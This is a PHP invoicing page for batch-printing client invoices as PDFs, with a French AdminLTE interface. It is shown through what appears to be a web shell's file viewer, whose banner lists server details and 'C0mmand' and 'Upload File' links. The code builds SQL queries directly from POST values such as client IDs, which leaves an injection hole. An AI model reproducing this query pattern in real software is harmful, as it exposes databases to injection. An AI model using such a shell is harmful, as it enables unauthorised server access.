|
Server IP : 10.128.40.6 / Your IP : 216.73.217.36 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/MC/../www/mcg/plugins/jszip/../../.github/../test/../pages/python/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// error_reporting(E_ALL);
// ini_set("display_errors", 1);
include 'includes/config_tmcpro2.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// echo "test <br/>" ;
// exit() ;
function pdf_concatenee($in, $out)
{
// require_once('includes/fpdi/fpdi.php');
// include 'code/fpdi/fpdi.php' ;
class concat_pdf extends FPDI {
var $files = array();
function setFiles($files) {
$this->files = $files;
}
function concat() {
foreach($this->files AS $file) {
$pagecount = $this->setSourceFile($file);
for ($i = 1; $i <= $pagecount; $i++) {
$tplidx = $this->ImportPage($i);
$s = $this->getTemplatesize($tplidx);
$this->AddPage('P', array($s['w'], $s['h']));
$this->useTemplate($tplidx);
}
}
}
}
unset($pdf);
$pdf = new concat_pdf();
foreach($in as $f)
$fichiers[]=$f ;
$pdf->setFiles($fichiers);
$pdf->concat();
$pdf->Output($out, 'D');
die();
}
if(isset($_POST['mois']) && isset($_POST['annee']) && isset($_POST['client_ids'] ))
{
$facts =array();
$from = $_POST['annee'].'-'.$_POST['mois'].'-01';
$to = date('Y-m-t', strtotime($from));
$CLIENTIN = ' IN ( ';
foreach ($_POST['client_ids'] as $client_id)
{
$CLIENTIN .= "$client_id ,";
}
$CLIENTIN .= ' 0 ) ';
$too = dateformaint($to) ;
$fromm = dateformaint($from);
$annee = $_POST['annee'];
$mois = $_POST['mois'];
$factures = array();
include 'code/facture-pdf_courrier.php' ;
// if (is_dir('PDFFACTURES')) {
// rmdir('PDFFACTURES');
// }
$rf = dbi_query("SELECT * FROM facture WHERE date_debut>=$fromm AND date_fin<=$too AND client_id $CLIENTIN ") ;
while($f = dbi_fetch_row($rf))
{
$client_id = $f['client_id'];
$fact_id = $f['fact_id'];
// echo $client_id;
$chemFact = "PDFFACTURES/$client_id/";
$dossier="PDFFACTURES";
if (!is_dir("PDFFACTURES"))
{
mkdir("PDFFACTURES", 0755) ;
chmod("PDFFACTURES", 0755) ;
}
if (!is_dir("PDFFACTURES/$client_id"))
{
mkdir("PDFFACTURES/$client_id", 0755) ;
chmod("PDFFACTURES/$client_id", 0755) ;
}
$f = new Facture ($fact_id ) ;
$f->Output($chemFact.$fact_id.".pdf", 'F') ;
$factures[] = $chemFact.$fact_id.".pdf" ;
}
$fichier_pdf = "PDFFACTURES/$agence-".date('d-m-Y-H:i').".pdf";
pdf_concatenee($factures, $fichier_pdf) ;
}
// if(isset($_POST['debutmonth'])) {
// $dated = sprintf("%02d%02d00", $_POST['debutyear'], $_POST['debutmonth']);
// $datef = sprintf("%02d%02d31", $_POST['debutyear'], $_POST['debutmonth']);
// echo " ++ $dated / $datef ++ ";
/*
$rf=dbi_query("SELECT * FROM ".TABLE_FACT." f , ".TABLE_CLIENT." c WHERE f.agence_id=$agence AND date_fact BETWEEN $dated AND $datef AND f.client_id=c.client_id ORDER BY client_nom,client_pnom") ;
if(mysql_num_rows($rf)>0){
while($f = dbi_fetch_row($rf))
{
$client_id=$f['client_id'];
$fact_id=$f['fact_id'];
$chemFact="PDFFACTURES/$client_id/";
// echo " $client_id / $fact_id !!! ";
}
}*/
// }
// echo '<pre>';
// print_r($fs);
// echo '<pre>';
// envoyer_email('facture',$fs['fact_id']);
// $facts[]=array($fs['client_id'],$fs['fact_id'],$fs['date_debut'],$fs['date_fin'],$fs['date_fact']);
/*
if(isset($_POST['clients']) && !empty($_POST['clients']) && !empty($_POST['from']) && !empty($_POST['to']) && !empty($_POST['datefacture'])){
// echo '<pre>';
// print_r($_POST);
// echo '</pre>';
include 'includes/fch.php' ;
// dateformaint($
$from=dateformaint($_POST['from']);
$to=dateformaint($_POST['to']);
$au=dateformaint($_POST['datefacture']);
$au1 = sprintf("%02d/%02d/%04d", substr($au, 6, 2), substr($au, 4, 2), substr($au, 0, 4)) ;
$prev=false;
$nb_prev=0;
foreach ($_POST['clients'] as $client_id)
{
// include 'includes/fch3.php' ;
// echo ' <br/>'."$client_id ,";
$_POST['fact_format']='n';
$textf=NULL;
$somme=$_POST[$client_id.'total'];
$prev=false;
$nb_prev=0;
$facture = unserialize( base64_decode( $_POST[$client_id."facture"] ) );
$inter = unserialize( base64_decode( $_POST[$client_id."inter"] ) );
$numfact=dbi_query("SELECT * FROM ".TABLE_FACT." WHERE date_debut>=$from AND date_fin<=$to AND client_id=$client_id ") ;
// echo "SELECT * FROM ".TABLE_FACT." WHERE date_debut>=$from AND date_fin<=$to AND client_id=$client_id ";
// echo "SELECT * FROM ".TABLE_FACT." WHERE date_debut>=$from AND date_fin<=$to AND client_id=$client_id AND agence_id=$agence";
$row_cnt = mysqli_num_rows($numfact);
if($row_cnt)
{
}
else
{
// $fact_id=creerFactureCh($client_id,0,$from,$to,$f,$au1, $_POST['fact_format'], $prev, $cumul, $nb_prev, $textf,$facture,$somme,$inter);
// echo ' ************** ';
}
}
}*/
// echo '<pre>';
// print_r($_POST);
// echo '</pre>';
$where = '';
if(isset($_POST['mois']) && isset($_POST['annee'])){
// $where = " AND client_id NOT IN ( SELECT client_id FROM ".TABLE_FACT." WHERE date_debut>='".$_POST['annee'].''.$_POST['mois'].'01'."' AND date_fin<='".date('Ymt', strtotime($_POST['annee'].'-'.$_POST['mois'].'-01'))."' ) ";
}
if( !empty($_POST['from']) && !empty($_POST['to']) ){
// $where = " AND client_id NOT IN ( SELECT client_id FROM ".TABLE_FACT." WHERE date_debut>='".$_POST['from']."' AND date_fin<='".$_POST['to']."' ) ";
}
// ECHO $where;
// $where = '';
$date = date('Y-m-01');
$annee = $year = date('Y');
$mois = $month = date('m');
// if(isset($_POST['datefacture']))
// $datefacture = $_POST['datefacture'];
// else
// $datefacture = date('Y-m-d');
$months = array(
1 => 'Janvier',
2 => 'Février',
3 => 'Mars',
4 => 'Avril',
5 => 'Mai',
6 => 'Juin',
7 => 'Juillet',
8 => 'Août',
9=> 'Septembre',
10=> 'Octobre',
11 => 'Novembre',
12 => 'Décembre'
);
if(isset($_POST['mois']) && isset($_POST['annee'])){
$datecal = $_POST['annee'].'-'.$_POST['mois'].'-01';
$annee = $_POST['annee'];
$mois = $_POST['mois'];
}
// echo '<pre>';
// print_r($_POST);
// echo '</pre>';
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Factures par courrier</title>
<!-- Tell the browser to be responsive to screen width -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Font Awesome -->
<link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- daterange picker -->
<link rel="stylesheet" href="../plugins/daterangepicker/daterangepicker.css">
<!-- iCheck for checkboxes and radio inputs -->
<link rel="stylesheet" href="../plugins/icheck-bootstrap/icheck-bootstrap.min.css">
<!-- Bootstrap Color Picker -->
<link rel="stylesheet" href="../plugins/bootstrap-colorpicker/css/bootstrap-colorpicker.min.css">
<!-- Tempusdominus Bbootstrap 4 -->
<link rel="stylesheet" href="../plugins/tempusdominus-bootstrap-4/css/tempusdominus-bootstrap-4.min.css">
<!-- Select2 -->
<link rel="stylesheet" href="../plugins/select2/css/select2.min.css">
<link rel="stylesheet" href="../plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
<!-- Bootstrap4 Duallistbox -->
<link rel="stylesheet" href="../plugins/bootstrap4-duallistbox/bootstrap-duallistbox.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
<!-- Google Font: Source Sans Pro -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
</head>
<body class="hold-transition sidebar-mini">
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
<td>
<a href="facture10.php"><button type="button" class="btn btn-block btn-secondary"></i> EDITION DES FACTURES</button> </a>
</td>
<td>
  <a href="facturemail.php"> <button type="button" class="btn btn-block btn-secondary" ></i> ENVOI PAR MAIL</button></a>
</td>
<td>
  <a href="facture2.php"> <button type="button" class="btn btn-block btn-secondary" ></i> HISTORIQUE </button></a>
</td>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav> <!-- fin du TOP MENU -->
<?php include('menu.php'); ?>
<div class="modal fade" id="PrestUpt" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="jalil" ></div>
</div>
</div>
</div>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<!-- Main content -->
<section class="content">
<div class="container-fluid">
<div class="row">
<!-- /.col -->
<div class="col-md-12">
<div class="card card-info" style='border:2px solid #17a2b8;'>
<div class="card-header">
<h3 class="card-title">ENVOI DES FACTURES PAR COURRIER </h3>
</div>
<!-- form start -->
<form role="form" method='POST' action=''>
<!-- /.card-header -->
<div class="card-body" >
<div class="row">
<div class="col-12">
<div class="form-group">
<select class="duallistbox" multiple="multiple" style="height: 150px;" name="client_ids[]" id="client_ids[]">
<?php $req =dbi_query("SELECT * FROM client WHERE client_statut = '1' AND client_env_mail != 1 $where ORDER BY client_nom ASC") ;
while( $cli=dbi_fetch_row($req)) { ?>
<option value="<?php echo $cli['client_id'] ; ?>" <?php if(in_array($cli['client_id'] , $_POST['client_ids'])) echo 'selected';?>><?php echo utf8_encode($cli['client_nom']); ?></option>
<?php } ?>
</select>
</div>
</div>
<div class="col-sm-4">
<div class="form-group">
<label>Année</label>
<select name='annee' id='annee' class="form-control">
<?php
$earliest_year = 2018;
foreach (range($year+3, $earliest_year) as $x) {
print '<option value="'.$x.'"'.($x == $annee ? ' selected="selected"' : '').'>'.$x.'</option>';
}
?>
</select>
</div>
</div>
<div class="col-sm-4">
<div class="form-group">
<label>Mois</label>
<select name='mois' id='mois' class="form-control">
<?php
foreach ($months as $key => $value) {
$key = sprintf("%02d",$key );
print '<option value="'.$key.'"'.($key == $mois ? ' selected="selected"' : '').'>'.$value.'</option>';
}
?>
</select>
</div>
</div>
<div class="col-sm-4">
<div class="form-group"><label><br/></label>
<button type="submit" class="btn btn-block bg-gradient-primary">Générer le pdf</button>
</div>
</div>
</div>
</div>
</form>
</div>
</div> <!-- /.col -->
</div><!-- /.row -->
<form role="form" method='POST' action=''>
</form>
<!-- /.row -->
</div><!-- /.container-fluid -->
</section>
<!-- /.content -->
</div>
<!-- /.content-wrapper -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.2
</div>
<strong>Copyright © 2014-2019 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights
reserved.
</footer>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- Select2 -->
<script src="../plugins/select2/js/select2.full.min.js"></script>
<!-- Bootstrap4 Duallistbox -->
<script src="../plugins/bootstrap4-duallistbox/jquery.bootstrap-duallistbox.js"></script>
<!-- InputMask -->
<script src="../plugins/moment/moment.min.js"></script>
<script src="../plugins/inputmask/min/jquery.inputmask.bundle.min.js"></script>
<!-- date-range-picker -->
<script src="../plugins/daterangepicker/daterangepicker.js"></script>
<!-- bootstrap color picker -->
<script src="../plugins/bootstrap-colorpicker/js/bootstrap-colorpicker.min.js"></script>
<!-- Tempusdominus Bootstrap 4 -->
<script src="../plugins/tempusdominus-bootstrap-4/js/tempusdominus-bootstrap-4.min.js"></script>
<!-- Bootstrap Switch -->
<script src="../plugins/bootstrap-switch/js/bootstrap-switch.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<!-- Page script -->
<script>
$(function () {
$("#allcheck").click(function(){
$('input:checkbox').not(this).prop('checked', this.checked);
});
var TOTALCA ="<?php echo number_format( $CATTC, 2, ',', ' ').'<sup> € </sup>';?>";
$('#TOTALCA').html(TOTALCA);
var TOTALCAHT ="<?php echo number_format( $CAHT, 2, ',', ' ').'<sup> € </sup>';?>";
$('#TOTALCAHT').html(TOTALCAHT);
//Initialize Select2 Elements
$('.select2').select2()
//Initialize Select2 Elements
$('.select2bs4').select2({
theme: 'bootstrap4'
})
//Datemask dd/mm/yyyy
$('#datemask').inputmask('dd/mm/yyyy', { 'placeholder': 'dd/mm/yyyy' })
//Datemask2 mm/dd/yyyy
$('#datemask2').inputmask('mm/dd/yyyy', { 'placeholder': 'mm/dd/yyyy' })
//Money Euro
$('[data-mask]').inputmask()
//Date range picker
$('#reservation').daterangepicker()
//Date range picker with time picker
$('#reservationtime').daterangepicker({
timePicker: true,
timePickerIncrement: 30,
locale: {
format: 'MM/DD/YYYY hh:mm A'
}
})
//Date range as a button
$('#daterange-btn').daterangepicker(
{
ranges : {
'Today' : [moment(), moment()],
'Yesterday' : [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
'Last 7 Days' : [moment().subtract(6, 'days'), moment()],
'Last 30 Days': [moment().subtract(29, 'days'), moment()],
'This Month' : [moment().startOf('month'), moment().endOf('month')],
'Last Month' : [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
},
startDate: moment().subtract(29, 'days'),
endDate : moment()
},
function (start, end) {
$('#reportrange span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'))
}
)
//Timepicker
$('#timepicker').datetimepicker({
format: 'LT'
})
//Bootstrap Duallistbox
$('.duallistbox').bootstrapDualListbox()
//Colorpicker
$('.my-colorpicker1').colorpicker()
//color picker with addon
$('.my-colorpicker2').colorpicker()
$('.my-colorpicker2').on('colorpickerChange', function(event) {
$('.my-colorpicker2 .fa-square').css('color', event.color.toString());
});
$("input[data-bootstrap-switch]").each(function(){
$(this).bootstrapSwitch('state', $(this).prop('checked'));
});
})
</script>
</body>
</html>
